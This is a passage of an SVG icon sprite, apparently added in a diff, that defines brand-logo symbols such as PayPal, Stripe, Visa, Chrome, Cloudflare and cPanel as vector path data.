9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"></path> + </symbol> + <symbol id="cc-paypal" viewBox="0 0 576 512"> + <path d="M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 1.8-3.2 3.5 0 1.2 19.5 56.8 21.2 62.1-2.7 3.8-20.5 28.6-20.5 31.6 0 1.8 1.5 3.2 3.2 3.2h19.2c1.8-.1 3.5-1.1 4.5-2.6zm159.3-106.7c0-21-16.2-28-34.7-28h-39.7c-2.7 0-5.2 2-5.5 4.7l-16.2 102c-.2 2 1.3 4 3.2 4h20.5c2 0 3.5-1.5 4-3.2l4.5-29c1-7.2 13.2-4.7 18-4.7 28.4 0 45.9-17 45.9-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.3 8.2-5.5-8.5-14-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9.3 0 20.5-4.9 26.5-11.9-.3 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H484c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm47.5-33.3c0-2-1.5-3.5-3.2-3.5h-18.5c-1.5 0-3 1.2-3.2 2.7l-16.2 104-.3.5c0 1.8 1.5 3.5 3.5 3.5h16.5c2.5 0 5-2.9 5.2-5.7L544 191.2v-.3zm-90 51.8c-12.2 0-21.7 9.7-21.7 22 0 9.7 7 15 16.2 15 12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"></path> + </symbol> + <symbol id="cc-stripe" viewBox="0 0 576 512"> + <path d="M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"></path> + </symbol> + <symbol id="cc-visa" viewBox="0 0 576 512"> + <path d="M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"></path> + </symbol> + <symbol id="centercode" viewBox="0 0 512 512"> + <path d="M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"></path> + </symbol> + <symbol id="centos" viewBox="0 0 448 512"> + <path d="M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"></path> + </symbol> + <symbol id="chrome" viewBox="0 0 496 512"> + <path d="M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z"></path> + </symbol> + <symbol id="chromecast" viewBox="0 0 512 512"> + <path d="M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"></path> + </symbol> + <symbol id="cloudflare" viewBox="0 0 640 512"> + <path d="M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"></path> + </symbol> + <symbol id="cloudscale" viewBox="0 0 448 512"> + <path d="M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"></path> + </symbol> + <symbol id="cloudsmith" viewBox="0 0 332 512"> + <path d="M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z"></path> + </symbol> + <symbol id="cloudversify" viewBox="0 0 616 512"> + <path d="M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"></path> + </symbol> + <symbol id="codepen" viewBox="0 0 512 512"> + <path d="M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"></path> + </symbol> + <symbol id="codiepie" viewBox="0 0 472 512"> + <path d="M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"></path> + </symbol> + <symbol id="confluence" viewBox="0 0 512 512"> + <path d="M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"></path> + </symbol> + <symbol id="connectdevelop" viewBox="0 0 576 512"> + <path d="M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"></path> + </symbol> + <symbol id="contao" viewBox="0 0 512 512"> + <path d="M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"></path> + </symbol> + <symbol id="cotton-bureau" viewBox="0 0 512 512"> + <path d="M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"></path> + </symbol> + <symbol id="cpanel" viewBox="0 0 640 512"> + <path d="M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"></path> + </symbol> + <symbol id="creative-commons" viewBox="0 0 496 512"> + <path d="M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"></path> + </symbol> + <symbol id="creative-commons-by" viewBox="0 0 496 512"> + <path d="M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 